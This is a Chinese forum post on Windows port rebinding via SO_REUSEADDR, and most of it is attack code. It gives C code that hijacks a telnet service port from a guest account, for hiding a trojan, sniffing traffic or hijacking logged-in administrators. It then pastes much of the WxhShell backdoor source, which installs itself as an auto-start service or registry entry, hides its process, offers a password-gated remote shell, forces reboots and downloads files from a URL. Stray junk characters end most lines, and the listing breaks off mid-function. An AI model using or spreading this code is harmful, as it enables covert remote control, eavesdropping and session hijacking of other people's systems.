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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H: S<O%f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `hdN 6PgK  
}?o4MiLB  
  saddr.sin_family = AF_INET; '{-Ic?F<P  
W-*HAS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T%Bz>K  
.yDGwLry  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /b\c<'3NY  
1R;@v3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O>'tag  
(%OZ `?`  
  这意味着什么?意味着可以进行如下的攻击: et"Pb_-U  
bB>.dC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xS>vmnW  
\d*ts(/a*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \~g,;>%7Y  
'iTY?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #^BttI  
icb *L~qm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !9.FI{W  
Ii&p v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \B^NdG5Y  
M4D @G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OE}FZCX F  
cUr!U\X[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 na|sKE;{  
?4oP=.  
  #include c/igw+L()  
  #include vZW[y5   
  #include 8+J>jZ  
  #include    plp-[eKcD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J.'%=q(Sb  
  int main() ANNVE},  
  { fs?H  
  WORD wVersionRequested; )ki Gk}2  
  DWORD ret; Eh)VT{vp  
  WSADATA wsaData; .cHkh^EDY  
  BOOL val; %`QgG   
  SOCKADDR_IN saddr; |}.}q  
  SOCKADDR_IN scaddr; zvVo-{6  
  int err; t0GJ$])  
  SOCKET s; hNhEA $X5  
  SOCKET sc; K yyVO"  
  int caddsize; ) P>/g*  
  HANDLE mt; #4lIna%VX  
  DWORD tid;   {z\K!=X/  
  wVersionRequested = MAKEWORD( 2, 2 ); lZuH:AH  
  err = WSAStartup( wVersionRequested, &wsaData ); -7]j[{?w  
  if ( err != 0 ) { Y SB=n d_  
  printf("error!WSAStartup failed!\n"); T2/:C7zL  
  return -1; !n` |k  
  } 22=sh;y+2  
  saddr.sin_family = AF_INET; IxS%V31  
   iPCCTs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7~F~'V  
xQ7U$QF|]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i/skU9  
  saddr.sin_port = htons(23); 1. +6x4%rV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3h:y[Vm#9y  
  { gnjhy1o  
  printf("error!socket failed!\n"); 7F6 B  
  return -1; /`7+Gy<  
  } |35OA/O?X  
  val = TRUE; s'oNW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [61*/=gWe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K, I  
  { f*B-aj#  
  printf("error!setsockopt failed!\n"); yi*EobP  
  return -1; ~D>pu%F  
  } KX]!yA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3F@P$4!#l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Eh ";irE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $xbW*w  
BV`\6SM~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =#,`k<v%I  
  { KyfH8Na?  
  ret=GetLastError(); 6o7t eX  
  printf("error!bind failed!\n"); e).;;0  
  return -1; )-emSV0zE  
  } ]/H6%"CTa  
  listen(s,2); as!a!1  
  while(1) ($kw*H{Ah^  
  { F-,chp  
  caddsize = sizeof(scaddr); tV`=o$`  
  //接受连接请求 BkGEx z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "I)zi]vk  
  if(sc!=INVALID_SOCKET) IlB8~{p_  
  { L/r_MtN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P3: t 4^  
  if(mt==NULL) Hj|&P/jY]*  
  { ?KOw~-u  
  printf("Thread Creat Failed!\n"); jT =|!,Pn  
  break; l"%80"zO  
  } 3,Yr%`/5'  
  } Jp_#pV*}:  
  CloseHandle(mt); r+8D|stS  
  } j&oRj6;Ha+  
  closesocket(s); `vgaX,F*  
  WSACleanup(); [GI~ &  
  return 0; 5N;'CAk  
  }   Mh4MaLw  
  DWORD WINAPI ClientThread(LPVOID lpParam) (=Cb)/s0  
  { T"W<l4i-  
  SOCKET ss = (SOCKET)lpParam; +IWH7qRtp  
  SOCKET sc; #YYJ4^":k  
  unsigned char buf[4096]; *>KBDFI  
  SOCKADDR_IN saddr; 5C9b*]-#  
  long num; NeG` D'  
  DWORD val; Q`<{cFsU  
  DWORD ret; x lS*9>Ij  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B(++*#T!^m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P .m@|w&.K  
  saddr.sin_family = AF_INET; .Mb[j1L^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LWT\1#  
  saddr.sin_port = htons(23); L|T?,^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rbf6/C  
  { <3x%-m+p4  
  printf("error!socket failed!\n"); 32<D9_  
  return -1; /oHCV0!0  
  } [jzsB:;XB&  
  val = 100; AtG~!)hG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _ (F-(X|  
  { )6C+0b*  
  ret = GetLastError(); pWGR #x'  
  return -1; ]`|$nU}v  
  } 3W%6n-*u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eKvr1m- -  
  { *uhQP47B  
  ret = GetLastError(); p35=CX`T.  
  return -1; I[Lg0H8  
  } /;#kV]nF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &,k!,<IF  
  { %-540V{q  
  printf("error!socket connect failed!\n"); p8~lGuH  
  closesocket(sc); QDg5B6>$  
  closesocket(ss); B2ln8NF#Q  
  return -1; )}`z<)3jP  
  } 6iyl8uL0J  
  while(1) Q+T#J9Y  
  { q`'f /CS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OuTV74  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iY,C0=n5Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pT]hPuC  
  num = recv(ss,buf,4096,0); G+8)a$?v  
  if(num>0) Nh.+woFq4  
  send(sc,buf,num,0); {Ya$Q#l  
  else if(num==0) *#mmk1`  
  break; (BVqmi{  
  num = recv(sc,buf,4096,0); C e-ru)  
  if(num>0) &-yRa45?  
  send(ss,buf,num,0); K {' atc  
  else if(num==0) p|-MwCeH  
  break; +?{"Q#.>;  
  } mrP48#Y+l  
  closesocket(ss); )A7^LLzG  
  closesocket(sc); 0!\C@wnH  
  return 0 ; l/'GbuECm  
  } 1_] X  
\%a0Lp{ I  
Svn7.Ivep  
========================================================== |q*yuK/  
L1SKOM$  
下边附上一个代码,,WXhSHELL c,~uurVi  
bkV<ZUW|;  
========================================================== 4^L;]v,|7  
[Km{6L&  
#include "stdafx.h" Y\]ZIvTSb  
)}@D\(/@  
#include <stdio.h> ~v;I>ij  
#include <string.h> cAW}a  
#include <windows.h> Vke<; k-  
#include <winsock2.h> *(OG+OkC  
#include <winsvc.h> *#Cx-J  
#include <urlmon.h> Ek)drt7cy  
t{]Ew4Y4%O  
#pragma comment (lib, "Ws2_32.lib") OTXZdAv  
#pragma comment (lib, "urlmon.lib") Ib#-M;{  
bej(Ds0  
#define MAX_USER   100 // 最大客户端连接数 I@cw=_EQL  
#define BUF_SOCK   200 // sock buffer .uJ J<  
#define KEY_BUFF   255 // 输入 buffer ZbYC3_7w  
=0g!Q   
#define REBOOT     0   // 重启 9p W~Gz  
#define SHUTDOWN   1   // 关机 6Rn?pe^  
4E^ ?}_$  
#define DEF_PORT   5000 // 监听端口 H0afu)$,  
gXdMGO>  
#define REG_LEN     16   // 注册表键长度 0~qc,-)3  
#define SVC_LEN     80   // NT服务名长度 /mex{+p>tO  
> <YU'>%  
// 从dll定义API @|b-X? `  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zEI+)|4?r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9&Jf4lC94  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `}Zqmfs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xS,24{-HJ  
QRQZ{m  
// wxhshell配置信息 9eMle?pF  
struct WSCFG { Tx;a2:6\[  
  int ws_port;         // 监听端口 =NF0E8O  
  char ws_passstr[REG_LEN]; // 口令 # rkq ?:Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'C'mgEl%L  
  char ws_regname[REG_LEN]; // 注册表键名 k H.dtg_  
  char ws_svcname[REG_LEN]; // 服务名 r:g\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f$C{Z9_SX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^K?-+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ul}RT xJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DSU8jnrL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vE:*{G;Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 keAoJeG,J  
EQm{qc;  
}; +fKOX#%  
6.D|\;9{c  
// default Wxhshell configuration U,=f};  
struct WSCFG wscfg={DEF_PORT, X4V>qHV72  
    "xuhuanlingzhe", ;4rhh h&  
    1, @_+aX.,  
    "Wxhshell",  i0=U6S:#  
    "Wxhshell", pe?)AiTZ:  
            "WxhShell Service", 2l<2srEK  
    "Wrsky Windows CmdShell Service", T*x2+(r  
    "Please Input Your Password: ", #Z%" ?RJ  
  1, hq=;ZI  
  "http://www.wrsky.com/wxhshell.exe", 2ioHhcYdJU  
  "Wxhshell.exe" <V&0GAZ  
    }; r<vMp'u  
ZNQ x;51  
// 消息定义模块 B>53+GyMV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sW]_Ky.]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m;@q('O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :PO./IBX  
char *msg_ws_ext="\n\rExit."; = lo.LFV  
char *msg_ws_end="\n\rQuit."; 6("_}9ZOc  
char *msg_ws_boot="\n\rReboot..."; ?:"ABkL|+Y  
char *msg_ws_poff="\n\rShutdown..."; /|?$C7%a\D  
char *msg_ws_down="\n\rSave to "; h&0zR#t  
cC/h7o dY  
char *msg_ws_err="\n\rErr!"; PgkU~68`  
char *msg_ws_ok="\n\rOK!"; o2!738  
Nfa&r  
char ExeFile[MAX_PATH]; ? :H+j6+f  
int nUser = 0; S{=5n R9j  
HANDLE handles[MAX_USER]; /WN YS  
int OsIsNt; `_\KN_-%Vu  
I  C  
SERVICE_STATUS       serviceStatus; [HILK `@@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FIq'W:q:  
meX2Y;  
// 函数声明 J2z/XHS  
int Install(void); q'mh*  
int Uninstall(void); EvT$|#FY  
int DownloadFile(char *sURL, SOCKET wsh); F1Z'tjj+  
int Boot(int flag); LF7- ?? '  
void HideProc(void); *tXyd<_Hd  
int GetOsVer(void); &6sF wK  
int Wxhshell(SOCKET wsl); p@tg pFt  
void TalkWithClient(void *cs); *[si!e%  
int CmdShell(SOCKET sock); hYJzF.DW<$  
int StartFromService(void); =5|7S&{  
int StartWxhshell(LPSTR lpCmdLine); p<fCGU  
J"r?F0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (D>_O$o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V^_A{\GK  
<],{at` v  
// 数据结构和表定义 H>TO8;5(  
SERVICE_TABLE_ENTRY DispatchTable[] = Rc1j^S;>  
{ eCGr_@1  
{wscfg.ws_svcname, NTServiceMain}, 8['R D`O  
{NULL, NULL} .+:iAnf  
}; Q#eMwM#~  
a"jE\OZ{+s  
// 自我安装 N5?bflY  
int Install(void) ^k6_j\5j  
{ ?ko#N?hgI  
  char svExeFile[MAX_PATH]; D3o,2E(o  
  HKEY key; > 80{n8  
  strcpy(svExeFile,ExeFile); Os9SfL  
s)-oCT$[  
// 如果是win9x系统,修改注册表设为自启动 TQ"XjbhU;X  
if(!OsIsNt) { <h#*wy:o2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5u$.!l8Nl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g>/Y}{sL-  
  RegCloseKey(key); 5Tl5T&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b| L;*<KU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s#X/ F  
  RegCloseKey(key); EFX2>&mWo8  
  return 0; [q9B" @X  
    } P $`1}  
  } J^7m?mA  
} Dz}i-tw+  
else { 8C3k: D[  
tMl y*E  
// 如果是NT以上系统,安装为系统服务 rq%]CsRY5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zhn ?;Fi  
if (schSCManager!=0) /oPW0of  
{ tq L(H25z  
  SC_HANDLE schService = CreateService "to!&@I| 4  
  ( {nmG/dn {  
  schSCManager, ^'X I%fEf  
  wscfg.ws_svcname, MLDzWZ~}ef  
  wscfg.ws_svcdisp, <6Q^o[L  
  SERVICE_ALL_ACCESS, a#p+.)Wm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,.)wCZ,wca  
  SERVICE_AUTO_START, @|Pm%K`1  
  SERVICE_ERROR_NORMAL, _(m72o0g>>  
  svExeFile, D \ rns+  
  NULL, |1@O>GG  
  NULL, dseI~}  
  NULL, i~u4v3r=  
  NULL, 0%f}Q7*R  
  NULL V(S7mA:T  
  ); u]*7",R uU  
  if (schService!=0) + <bj}"  
  { I\)`,w  
  CloseServiceHandle(schService); %vmd2}dA  
  CloseServiceHandle(schSCManager); A?YYR%o%'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P+CV4;Xz  
  strcat(svExeFile,wscfg.ws_svcname); rNN>tpZ}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Ths"zwn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y '/6T]a  
  RegCloseKey(key); \[G'cE  
  return 0; I!/32* s1t  
    } YmljHQP  
  } mb*Yw 6q  
  CloseServiceHandle(schSCManager); s#$t!F??9  
} {it.F4.  
} +g1>h ,K 3  
H!;N0",]N  
return 1; IyO 0~Vx>  
} * F!B4go  
6P{bUom?  
// 自我卸载 <'\Nv._2a  
int Uninstall(void) u&~Xgq5[  
{ 5_9`v@-4_  
  HKEY key; w{tA{{  
X'OpR   
if(!OsIsNt) { T!jh`;D+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  u$?!  
  RegDeleteValue(key,wscfg.ws_regname); ~n 'A1  
  RegCloseKey(key); I0 t#{i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @GQe-04W`  
  RegDeleteValue(key,wscfg.ws_regname); !S?Fz]  
  RegCloseKey(key); $yOB-  
  return 0; <#0i*PM_  
  } +^7cS6"L  
} J&6p/'UPZ  
} p3P8@M  
else { @5Tl84@Q  
\;7U:Y$v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cmx<>7fN  
if (schSCManager!=0) P>_O :xD  
{ 2Bt/co-~4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yi8vD~aA[  
  if (schService!=0) tw4,gW  
  { _9BL7W $;  
  if(DeleteService(schService)!=0) { Yc#Uu8f-  
  CloseServiceHandle(schService);  +P(*S  
  CloseServiceHandle(schSCManager); Gamn,c9  
  return 0; <EC"E #p  
  } 2|k$Vfz  
  CloseServiceHandle(schService); t jM9EP  
  } rxp|[>O<  
  CloseServiceHandle(schSCManager); C^q|(G)  
} $:u*)&"t|  
} YKe&Ph.  
-mJs0E*g  
return 1; QFnuu-82"  
} ld(60?z>FH  
SS/vw%  
// 从指定url下载文件 I[E 6N2  
int DownloadFile(char *sURL, SOCKET wsh) b`e_}^,c  
{ JpXv+V  
  HRESULT hr; 9d1km~  
char seps[]= "/"; c =m#MMc)  
char *token; NVzo)C8kb  
char *file; . vHHw@  
char myURL[MAX_PATH]; rQv5uoD  
char myFILE[MAX_PATH]; (^yaAy#4  
:>!-[hfQ  
strcpy(myURL,sURL); APl]EV" l  
  token=strtok(myURL,seps); 4 QQt 0u0  
  while(token!=NULL) vU%o5y:  
  { bqn(5)%{  
    file=token; :^(y~q?  
  token=strtok(NULL,seps); 45biy(qa  
  } X1w11Z7o  
$z!G%PO1%  
GetCurrentDirectory(MAX_PATH,myFILE); HD<$0M|  
strcat(myFILE, "\\"); n1\$|[^6  
strcat(myFILE, file); 1e\cJ{B  
  send(wsh,myFILE,strlen(myFILE),0); >FE8CH!W&  
send(wsh,"...",3,0); ") 8l'^Mq2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )B]"""J  
  if(hr==S_OK) wXQu%F3  
return 0; ~2* LWH*@  
else r (m3"Xu6O  
return 1; 3?E7\\/R  
B2r[oT R  
} +kWWx#L#  
&wi+)d  
// 系统电源模块 j+3\I>  
int Boot(int flag) EI=~*&t  
{ X !h>13fW  
  HANDLE hToken; <^nS%hXEr  
  TOKEN_PRIVILEGES tkp; Q7y' 0s  
'$,yV f  
  if(OsIsNt) { NioqJG?p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h`U-{VIrqi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +aOevkY]  
    tkp.PrivilegeCount = 1; 9o,Eq x4J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2:Yvr_L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zwq\m.h  
if(flag==REBOOT) { aUL7 ]'q}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7s^b@&Le  
  return 0; l]wfL;u  
} KS#A*BRQ  
else { 9{(q[C5m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }S iR;2W  
  return 0; glC,E>  
} 9ug4p']  
  } hV $Zr4'  
  else { ";dS~(~  
if(flag==REBOOT) { \asn^V@"zz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2lfEJw($  
  return 0; M*k,M=sX  
} VMABj\yG  
else { Uic  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nql1I<I  
  return 0; -f?  
} n U=  
} Lvt3S .l  
nHF66,7t  
return 1; ,|O6<u9  
} T}J)n5U}\  
Qc Wg  
// win9x进程隐藏模块 ~_i=hx  
void HideProc(void) EkV#i  
{ .hckZx /  
n-K/d I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'WHI.*=  
  if ( hKernel != NULL ) p+Q9?9  
  { ##By!F TP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T0A=vh;S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CH `Kpt  
    FreeLibrary(hKernel); PkFG0  
  } 8'E7Uj  
sI6*.nR  
return; PP! /WX  
} tJ\v>s-f  
<c5g-*V:  
// 获取操作系统版本 t[;-gi,,  
int GetOsVer(void) 5OPvy,e6  
{ G5|nt#>  
  OSVERSIONINFO winfo; v~x`a0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c)Ng9p  
  GetVersionEx(&winfo); 4-HBXG9#/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j0"4X  
  return 1; 3 }sy{Mx%9  
  else fP 3eR>e  
  return 0; ]Ky`AG`2~  
}  N MkOx$  
VN09g&  
// 客户端句柄模块 Qn$YI9t  
int Wxhshell(SOCKET wsl) W $mw9  
{ d l Ab`ne  
  SOCKET wsh; l ?b*T#uIk  
  struct sockaddr_in client; '_Q';T_n99  
  DWORD myID; )Ko~6.:5H  
z(,j)".  
  while(nUser<MAX_USER) +P+h$gQ  
{ >KQ/ c  
  int nSize=sizeof(client); <iH   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4lCbUk[l  
  if(wsh==INVALID_SOCKET) return 1; ` >>]$ZJ  
PDH|=meXM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4h?@D_{k  
if(handles[nUser]==0) 'k}w|gNB  
  closesocket(wsh); IR3+BDE)>  
else N`d%4)|{  
  nUser++; _s<BXj  
  } 'A3*[e|OS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]N\D^`iQ  
K}N~KDW R|  
  return 0; d" 0&=/  
} Ya~Th)'>q  
Y_C6*T%  
// 关闭 socket ^N^s|c'  
void CloseIt(SOCKET wsh) s(Wys^[g  
{ -|u yJh  
closesocket(wsh); nm_taER  
nUser--; /?j kVy*"  
ExitThread(0); N2|NYDQs  
} ffI=Bt]t  
H>D?  
// 客户端请求句柄 n@H;*nI|  
void TalkWithClient(void *cs) K[?@nl?,z  
{ Wc m'E3c,  
}!r pH{y  
  SOCKET wsh=(SOCKET)cs; ~Hd *Xl  
  char pwd[SVC_LEN]; g/FT6+&T.  
  char cmd[KEY_BUFF]; ?Vh#Gr  
char chr[1]; }Q9+krrow  
int i,j; 7wY0JS$fz  
rmC7!^/  
  while (nUser < MAX_USER) { }4piZ ch  
DTsD<o  
if(wscfg.ws_passstr) { ?b}e0C-a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z6-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YIIc@ )  
  //ZeroMemory(pwd,KEY_BUFF); z[vu- f9  
      i=0; *Jt+-ZM  
  while(i<SVC_LEN) { LEN=pqGJ.  
3me&isKL  
  // 设置超时 6~>h;wC  
  fd_set FdRead; 2B)1 tP  
  struct timeval TimeOut; .F%jbnKd_  
  FD_ZERO(&FdRead); <Mj{pN3  
  FD_SET(wsh,&FdRead); NU'2QSU8  
  TimeOut.tv_sec=8; \R-'<kN.*  
  TimeOut.tv_usec=0; JSylQ201  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SY:ISzB}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }Q\+w,pJgN  
YUTh*`1k<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pVzr]WFx  
  pwd=chr[0]; BW3Q03SW6  
  if(chr[0]==0xd || chr[0]==0xa) { b&Laxki  
  pwd=0; 2dB]Lw@s  
  break; K:VZ#U(_  
  } B>S>t5$  
  i++; CQmozh-  
    } WuI$   
A5\ Hq  
  // 如果是非法用户,关闭 socket n _x+xVi%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MO| Dwuaf  
} CbxWK#aMmB  
_KT'W!7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F|'u0JQ)$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {,(iL8,^  
7 +KI9u}-  
while(1) { Yne1MBK  
~gQYgv<7  
  ZeroMemory(cmd,KEY_BUFF); VV 54$a  
9pr.`w  
      // 自动支持客户端 telnet标准   f;OB"p  
  j=0; /<-=1XJI  
  while(j<KEY_BUFF) { zK_P3r LsS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zTPNQ0=|  
  cmd[j]=chr[0]; P0sAq7"  
  if(chr[0]==0xa || chr[0]==0xd) { CGb4C(%-7  
  cmd[j]=0; c4Q9foE   
  break; &sYxe:H  
  } x TH3g^E  
  j++; @)!N{x?  
    } cf ^i!X0  
U 9Ea }aN  
  // 下载文件 M ' %zA;Wl  
  if(strstr(cmd,"http://")) { d0Ubt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M} ri>o  
  if(DownloadFile(cmd,wsh)) d.Ccc/1-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wi,)a{  
  else G^.tAO5:f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >lyE@S sA  
  } 35x]'  
  else {  n0EW U,1  
DSq?|H  
    switch(cmd[0]) { @,2,(=l*C  
  *5hbD-a:  
  // 帮助 Jp^#G2  
  case '?': { }L%2K"8?}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4b, +;  
    break; oIj -Y`92!  
  } =&Tuh}  
  // 安装 "(dI/}  
  case 'i': { 8GjETq%}  
    if(Install()) u]`0QxvZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yh|+Usa  
    else 9:=:P>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^$=XrD  
    break; Bc-/s(/Eq  
    } kkMChe};5  
  // 卸载 m6}_kzFz  
  case 'r': { s%>8y\MaK  
    if(Uninstall()) \!w |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zuFPG{^\#  
    else qzO5p=}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); suFk<^3  
    break; WIAukM8~  
    } k{hNv|:,  
  // 显示 wxhshell 所在路径 BnDCK@+|Q  
  case 'p': { ""_G4{  
    char svExeFile[MAX_PATH]; .yD 6$!6  
    strcpy(svExeFile,"\n\r"); l]Ym)QP  
      strcat(svExeFile,ExeFile); iTT%_-X-  
        send(wsh,svExeFile,strlen(svExeFile),0); %""h:1/S  
    break; OjG`s-91&  
    } }*C  
  // 重启 ^-|~c`&}B  
  case 'b': { ^|hVFM2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SkCux  
    if(Boot(REBOOT)) Z#^|h0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !;d>}iE   
    else { rO{?.#~  
    closesocket(wsh); 8Z "f"  
    ExitThread(0); v9KsE2Ei  
    } P &@,Z# \  
    break; 7xux%:BN  
    } A;&YPHB  
  // 关机 /EegP@[  
  case 'd': { _Y}cK| 3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7&%HE\  
